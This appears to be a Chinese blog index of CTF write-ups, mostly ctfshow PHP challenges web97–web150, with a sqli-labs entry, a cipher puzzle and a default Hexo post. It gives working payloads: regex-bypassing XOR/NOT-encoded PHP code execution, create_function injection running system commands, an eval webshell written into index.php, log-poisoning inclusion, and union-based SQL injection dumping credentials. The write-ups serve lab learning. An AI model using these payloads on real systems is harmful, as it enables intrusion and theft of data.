0%

web126

与web125差不多

1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

绕过方式和web123一样。
payload:

1
?ctf show=ilove36d

web128


考察点:gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
payload:

1
?f1=_&f2=get_defined_vars

web129

1
2
stripos(string,find,start)
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。注释:字符串位置从0开始,不是从1开始

看别人的wp绕过的姿势有很多啊,但是怎么一到我这里就失灵了啊。只能用php伪协议
payload:

1
?f=php://filter/|ctfshow/resource=flag.php   #也可以用其他的过滤器

web130


PHP利用PCRE回溯次数限制绕过某些安全限制

1
2
3
4
5
6
7
8
import requests

url='#url'
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

或者
数组绕过

1
f[]=1   #stripos应用于数组的时候会返回null,null!==false

或者

1
f=ctfshow

/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。

web131

1
2
3
4
5
6
7
8
import requests

url='#url'
data={
'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

web132


一打开网站我都惊呆了,好高级的感觉。然后访问robots.txt有/admin访问就能看到源码。

啊~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这一题好简单啊。

1
$code === mt_rand(1,0x36D) && $password === $flag

只要让这个为false,username=admin和code=admin就行
payload:

1
?username=admin&code=admin&password=1

web134


parse_str()函数

1
把查询字符解析到变量

ectract()函数

1
从数组中将变量导入当前的符号表
1
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
四个变量的介绍:

1.$_SERVER["QUERY_STRING"]

说明:查询(query)的字符串

2.$_SERVER["REQUEST_URI"]

说明:访问此页面所需的URI
  
3.$_SERVER["SCRIPT_NAME"]

说明:包含当前脚本的路径
  
4.$_SERVER["PHP_SELF"]

例如

1
2
3
4
5
6
7
8
9
http://www.xxx.com/?p=222 (附带查询)
结果:
$_SERVER["QUERY_STRING"]==>“p=222”;

$_SERVER["REQUEST_URI"] ==>"/?p=222";

$_SERVER["SCRIPT_NAME"] ==>"/index.php";

$_SERVER["PHP_SELF"] ==>"/index.php";

payload:

1
?_POST[key1]=36d&_POST[key2]=36d

web136


跟着大佬学到了好多啊
在linux里可以用tee命令读取标准输入的数据,并将其内容输出成文件
payload:

1
2
?c=ls /|tee 1 #把根目录里的内容写进1文件里
?c=tac /f149_15_h3r3|tee 2

web137

1
call_user_func — 把第一个参数作为回调函数调用

考察调用类中的函数

1
2
3
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

payload:

1
POST:ctfshow=ctfshow::getFlag

web138


相当于把冒号禁用了,但是call_user_func还可以传数组
第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
payload:

1
POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

太难了,脚本看不懂,以后有机会了再做

web140


可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(‘.’)==0 intval(‘/‘)==0
所以方法就挺多了

payload:

1
f1=chr&f2=chr

我感觉随便搞一点函数放上去都可以。

web141


传入的v3必须是非单词字符
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
payload:

1
?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-

web142


emmmmmmmmmmmm,让我太奶来都会做
payload:

1
?v1=0

web143

1
?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144


对v3的长度进行了限制,所以在v2上下手
payload:

1
?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1

web145


可以用三目运算符

1
eval("return 1?phpinfo():1;"); #这是可以运行的

payload:

1
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web146

过滤了:没办法用三目运算符,可以用等号和位运算符\

1
eval("return 1==phpinfo()||1;");  #这也可以运行

payload:

1
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||

web147


具体原理看这个

1
2
3
4
5
6
7
create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

payload:

1
2
GET:?show=}system("tac flag.php");/*
POST:ctf=\create_function

web148


没过滤异或还可以用异或
payload:

1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

web149


预期解是条件竞争,可是我搞了半天也不行,就直接在index.php里改了
payload:

1
2
GET: ?ctf=index.php
POST: show=<?php @eval($_POST[a];)?>

然后用蚁剑连接。

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

非预期
日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为

web110


考察FilesystemIterator。getcwd()函数 获取当前工作目录 返回当前工作目录。
payload:

1
?v1=FilesystemIterator&v2=getcwd

缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。

阅读全文 »

1
2
3
4
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}

这一段说get传的值不能等于error。

1
2
3
4
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}

这一段说POST传的值不能等于flag。

1
2
3
if(!($_POST['flag']==$flag)){
die($error);
}

这一段说POST传的值不等于flag的话输出变量error。
payload:

1
2
GET:?a=flag
POST:error=a
阅读全文 »

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

less-1


看报错可知,这是闭合单引号。

1
2
3
4
?id=1'order by 3 -- - #确定那个字段有回显
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- - #查询表名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- - #查询列名
?id=-1'union select 1,2,group_concat(username,'~',password) from users -- - #查询当前数据库user表里面的username和password。
阅读全文 »

web101

1
2
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

v1必须是数字,v2可以使用可以使用反射类new ReflectionClass(),v3没有过滤;
payload:

1
v1=1&v2=echo new Reflectionclass&v3=;

0x2d还是-,然后最后一位需要自己猜。

web102

1
2
3
4
5
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

要确保v4为真,就要确保v2是数字.将v2进行base64编码然后再转换成16进制。
payload:

1
2
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST:v1=hex2bin

然后访问2.php查看源码就能找到flag。

web103

找不到服务器,做不了题.

web104


因为没有判断,可以直接让两个值相等,也可以用数组绕过,也可以用两个相等的sha1的值。

1
2
3
4
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web97


要求POST传参,a不能等于b,但是a和b的md5值要相同,但是md5这个函数呢有个漏洞,传入的参数为数组的时候会发生错误,并返回NULL。

1
a[]=123&b[]=1234
阅读全文 »

聪明的小羊

题目描述:一只小羊翻过了2个栅栏 fa{fe13f590lg6d46d0d0}
栅栏密码,分两栏时就是flag。

阅读全文 »